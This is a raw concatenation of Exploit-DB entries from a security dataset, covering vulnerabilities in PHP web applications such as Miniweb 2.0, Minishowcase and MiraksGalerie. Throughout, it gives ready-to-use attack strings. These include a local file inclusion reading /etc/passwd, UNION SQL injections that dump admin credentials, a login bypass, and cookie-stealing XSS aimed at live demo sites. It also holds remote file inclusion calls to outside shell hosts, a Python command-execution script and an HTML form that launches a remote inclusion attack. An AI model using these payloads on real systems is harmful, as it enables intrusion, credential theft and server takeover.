deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6156
Description: Minishowcase 09b136 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-29
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-034


Application:                    Minishowcase Image Gallery      
Versions Affected:              v09b136
Vendor URL:                     http://minishowcase.frwrd.net
Bug:                            Local File Include
Exploits:                       YES
Reported:                       14.07.2008
Second report:                  22.07.2008
Vendor response:                NONE
Solution:                       NONE
Date of Public Advisory:        29.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Minishowcase Image Gallery has local file include vulnerability in script libraries/general.init.php

Vulnerable GET parameters "lang".

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

...
        $_dir_file = dirname(dirname(__FILE__));
        $_dir_path = dirname($_SERVER["DOCUMENT_ROOT"] . $_SERVER['PHP_SELF']);
        
        if ($_dir_file != $_dir_path) {
                if (!isset($settings['minishowcase_url'])
                        || ($settings['minishowcase_url'] == "")) {
                        die ("<p style=\"margin:6px;padding:20px;text-align:left;font-size:18px;background:#f60;color:#FFF;\">ALERT: if you are including minishowcase with PHP into a website, please set the <code>\$minishowcase_url</code> variable in the <code>/config/settings.php</code> file</p>");
                }
        }
...
        if (isset($_GET["lang"])) $set_language = $_GET["lang"];
        $langfile = ROOT.'languages/'.$set_language.'.php';
        require_once($langfile);

#################################################

Example:

http://[server]/[installdir]/libraries/general.init.php?settings[minishowcase_url]=DSecRG&lang=../../../../../../../../../../../../../etc/passwd%00


Solution
********

No response or any updates from vendor.


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-07-29]
Exploit-DB #5548
Description: Miniweb 2.0 - 'historymonth' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-05
Author: HaCkeR_EgY

Exploit:
############################################
#    Rem0te SQL Injection Vulnerability    #
#         Miniweb 2.0 [ index.php ]        #
############################################

[<>]Author: HaCkeR-EgY
 
[<>]H^0mE: www.pal-hacker.com ,  atsdp.com
 
[<>]CONTact: hacker_EGY@hotmail.com  
===========================================================
[<>]Script : Miniweb  " Blog Writer "
[<>]version :  2.0
[<>]Module Price: Only $39.00
[<>]Portal Price : $ 117
[<>]DOWNL0AD Trial : www.miniweb2.com
============================================================
 
[<>] D0RK : hmmm........ user YOUR Mind (:
 
[<>] ExPLO!t :
              
  ===>http://example.com/miniweb2/index.php?module=blogwriter&historyyear=2007&historymonth=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,user_id,username,password),4,5,6,7,8,9,10/**/from/**/admin_access/*
 
[<>] live D!mO :
             
  ===> http://miniweb2.com/moduledemo/blogwriter/index.php?historyyear=2008&historymonth=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,user_id,username,password),4,5,6,7,8,9,10/**/from/**/admin_access/*
 
==============================================================
[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : F!resell , Mohamed el Arab ,Mr.EXE , DaRk MaStEr ,H-T Team
                       Gold_M , V4 Team , Jiki Team  , RoMaNcYxHaCkEr
===============================================================

# milw0rm.com [2008-05-05]
Exploit-DB #7586
Description: Miniweb 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-12-28
Author: bizzit

Exploit:
##############################################################################
# Miniweb 2.0 Admin bypass
##############################################################################
# Type:
# 'union select 1#
# in the username field and press login, you are admin!
#
# download: http://www.miniweb2.com/
##############################################################################
# Found by bizzit
#
# Contact: bizzit[at]live.de
##############################################################################
# Greetz to:
# Suicide, ReED, h0yt3r, J0hn^x3r, tmh, n00bor, Five-Three-Nine, electron1x,
# Nazrek, Free-Hack and Sys-Flaw
##############################################################################

# milw0rm.com [2008-12-28]
Exploit-DB #10395
Description: Miniweb 2.0 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2009-12-12
Author: Salvatore Fresta

Exploit:
Miniweb 2.0 Full Path Disclosure

 Name              Miniweb 2.0
 Vendor            http://www.miniweb2.com

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2009-12-12

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX


I. ABOUT THE APPLICATION

Miniweb 2.0 is designed for those who want to transform  a
brochure  site  into  a dynamic Web 2.0 site that attracts
tons of traffic and sales.


II. DESCRIPTION

Preamble: I  don't  consider this argument a real security
flaw but it may be useful in some cases.

The value of the module parameter passed to index.php page
is  included  using  the  PHP main function. This may be a
principle  of  local file inclusion  vulnerability  but in
this  case  the  final  NULL  byte is  properly sanitised.
However an invalid module name produces a  warning message
with the full path of the interested page.


III. ANALYSIS

Summary:

 A) Full Path Disclosure

A) Full Path Disclosure

In  order  to  "exploit"  this  vulnerability,  you  don't
require anything.


IV. SAMPLE CODE

http://server/path/index.php?module=foo%00


V. FIX

Use @main() instead of main()
Exploit-DB #13816
Description: Miniweb 2.0 Business Portal and Social Networking Platform - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-10
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Miniweb 2.0 Business Portal and Social Networking Platform SQL Injection Vulnerability
Vendor url:http://www.miniweb2.com/
Version:2.0
Price:250$
Published: 2010-06-10
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to all ICW members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

Miniweb 2.0 is designed for those who want to transform a brochure site into a dynamic Web 2.0 site that attracts tons of traffic and sales. This CMS applicationcomes with 21 modules:
Affiliate Wiz, Auto Ezine, Blog Writer, Classified Ads, Custom Shop, Directory, Events Calendar, FAQ Manager, Form Maker, Forum, Groups, Help Desk, Job Board, Link Shortener, Media Album, My Amazon, Online Store, Publisher, Site Builder, Survey Pro, and Text Ads. It's also one of the easiest content management systemsto install and administer: just plug and play. There is no need to change your Web design because the system will integrate with it 100%. The modules share a common admin, member system, user interface, photo and video upload, work flow, and database, which result in an extremely pleasant user experience. Miniweb 2.0 has worked wonder for many sites by boosting their traffic and sales. Now is your turn to try it, use it, and profit from it! 

#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :http://[site]/index.php?module=[sqli]

# 0day n0 m0re #
Exploit-DB #9338
Description: Miniweb 2.0 Module Publisher - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-03
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Miniweb 2.0 Module Publisher (bSQL/XSS) Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ Miniweb 2.0 ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.miniweb2.com/index.php?module=sitebuilder&sitebuilder_id=17  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $250.00 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===	
	
[Â»] http://www.site.com/patch/index.php?historyyear=2009&historymonth=[BLIND]

[Â»] http://miniweb2.com/moduledemo/publisher/index.php?historyyear=2009&historymonth=02 and 1=1 <= TRUE
[Â»] http://miniweb2.com/moduledemo/publisher/index.php?historyyear=2009&historymonth=02 and 1=2 <= FALSE

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/index.php/[XSS]
[Â»] http://www.site.com/patch/index.php?loginaction=1&begin=[XSS]

[Â»] http://miniweb2.com/moduledemo/publisher/index.php/"><script>alert(document.cookie);</script>
[Â»] http://miniweb2.com/moduledemo/publisher/index.php?loginaction=1&begin="><script>alert(document.cookie);</script>

Note: have some other XSS on index.php ..

Author: Moudi

###########################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #9339
Description: Miniweb 2.0 Module Survey Pro - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-03
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Miniweb 2.0 Module Survey Pro (bSQL/XSS) Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ Miniweb 2.0 ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.miniweb2.com/index.php?module=sitebuilder&sitebuilder_id=17  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $250.00 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===	
	
[Â»] http://www.site.com/patch/index.php?task=results&campaign_id=[BLIND]

[Â»] http://miniweb2.com/moduledemo/surveypro/index.php?task=results&campaign_id=1 and 1=1 <= TRUE
[Â»] http://miniweb2.com/moduledemo/surveypro/index.php?task=results&campaign_id=1 and 1=2 <= FALSE

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/index.php/[XSS]

[Â»] http://miniweb2.com/moduledemo/surveypro/index.php/"><script>alert(document.cookie);</script>

Note: have some other XSS on index.php ..

Author: Moudi

###########################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #33127
Description: Miniweb 2.0 Site Builder Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-29
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35871/info

The Site Builder module for Miniweb is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Site Builder module for Miniweb 2.0 is affected. 

http://www.example.com/sitebuilder/index.php/"><script>alert(document.cookie);</script>
http://www.example.com/sitebuilder/index.php?sitebuilder_id="><script>alert(document.cookie);</script>
Exploit-DB #3120
Description: Mint Haber Sistemi 2.7 - 'duyuru.asp?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-12
Author: chernobiLe

Exploit:
###############################################################
#MiNT Haber Sistemi v2.7 (tr) == SQL Injection Vulnerability
#Author : chernobiLe
#Site : www.cyber-sabotage.org , www.chernobiLe.com
#Contact: info@cyber-sabotage.org
###############################################################
#Risk : High
#Download Link Of MiNT Haber Sistemi v2.7 : http://www.aspindir.com/Goster/4539


#Exploit;
#Admin Nick, Passport, Mail;
http://[SITE]/duyuru.asp?id=6+union+select+0,kul_adi,sifre+from+uye+where+id=1


#Union data Text;
#Duyuru Basligi :  USERNAME
#Duyuru Metni  :    PASSWORD

#Greetz: All CSDT ( Cyber Sabotage and Defacer ) TEAM

# milw0rm.com [2007-01-12]
Exploit-DB #38638
Description: Mintboard - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-10
Author: Canberk BOLAT

Exploit:
source: https://www.securityfocus.com/bid/61114/info

Mintboard is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mintboard 0.3 is vulnerable; other versions may also be affected.

http://www.example.com/?login=3 (POST: name)
http://www.example.com/?login=3 (POST: pass)
http://www.example.com/?signup=3 (POST: name)
http://www.example.com/?signup=3 (POST: pass)
Exploit-DB #3878
Description: Miplex2 - 'SmartyFU.class.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: ThE TiGeR

Exploit:
#Miplex2 Remote file inclusion

#Download script : http://download.berlios.de/miplex2/miplex2alpha.tar.gz

#Thanks Str0ke

#Exploit :

#http://victim.com/[miplex2_paht]/lib/smarty/SmartyFU.class.php?system[smarty][dir]=shell.txt?

#Discovered by : ThE TiGeR

#Greetz : Reda, â„¢~${{BraveHeart}}$~â„¢

#Miro_Tiger[at]Hotmail[dot]com

# milw0rm.com [2007-05-08]
Exploit-DB #41593
Description: Mirage - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Mirage – Fancy Clone - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.zoplay.com/
# Software: https://www.zoplay.com/web/multi-vendor-clone-website/
# Demo: http://fancyclone.zoplay.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/shopby/IhsanSencan?c=[SQL]
# Duplicate entry 'fancyclone
# Etc..
# # # # #
Exploit-DB #27988
Description: MiraksGalerie 2.62 - 'galimage.lib.php?listconfigfile[0]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-07
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/18313/info

MiraksGalerie is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

#!/usr/bin/env python
#
# MiraksGalerie <= 2.62 Multiple Remote command execution
# python f_mg-2.62.py <remote_addr> <remote_port> <remote_path> <remote_cmd>
<command>
#
# Federico Fazzi <federico@autistici.org>
# more info see advisory.

# need register_global = On

import os, sys, socket

usage = "run: python %s [remote_addr> [remote_port] [remote_path]
[remote_cmd] <command>" % os.path.basename(sys.argv[0])

if len(sys.argv) < 6:
        print usage
        sys.exit()
else:
        host = sys.argv[1]
        port = int(sys.argv[2])
        path = sys.argv[3]
        cmd = sys.argv[4]
        command = sys.argv[5]

        print "MiraksGalerie <= 2.62 Remote command execution"
        print "Federico Fazzi <federico@autistici.org>\n"

        includers = ['pcltar.lib.php?g_pcltar_lib_dr=',
        'galimage.lib.php?listconfigfile[0]=',
                     'galsecurity.lib.php?listconfigfile[0]=']

        for inc in includers:
                print ">> i try string %s" % inc
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.connect((host, port))
                sock.send("GET %s%s%s?cmd=%s \r\n" % (path, inc, cmd,
                command))
        print "\n>> reading.. done\n"
        buf = sock.recv(2048)
        print buf
Exploit-DB #27989
Description: MiraksGalerie 2.62 - 'galsecurity.lib.php?listconfigfile[0]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-07
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/18313/info
 
MiraksGalerie is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[mg_path]/galsecurity.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname
Exploit-DB #2668
Description: MiraksGalerie 2.62 - 'pcltar.lib.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-28
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>MiraksGalerie <= 2.62 Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: MiraksGalerie <= 2.62 Remote File Include Exploit
//'[Coded by   : ajann
//'[Author   : ajann
//'[Contact    : :(
//'[Using : Write Target after Submit Click
//'===============================================================================================
   

     //Basic exploit,but any time : ( 
   var adres="/pcltar.lib.php?" //FÝle name
   var acik ="g_pcltar_lib_dir=" // Line 68 - 72
   var shell="http://kro.275mb.com/57.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">MiraksGalerie <= 2.62 Remote File 
Include Exploit</font></b></p>
<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gönder" name="B1"><input type="reset" value="Sýfýrla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>
<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2006-10-28]
Exploit-DB #28891
Description: Mirapoint Web Mail - 'Expression()' HTML Injection
Type: webapps
Platform: php
Date: 2006-10-31
Author: LegendaryZion

Exploit:
source: https://www.securityfocus.com/bid/20840/info

Mirapoint Web Mail is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary JavaScript in the victim's browser.

<IMG style="width: expression(alert('expression'));">
Exploit-DB #26902
Description: Miraserver 1.0 RC4 - 'article.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15960/info
  
Miraserver is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Version 1.0 RC4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/article.php?cat=[SQL]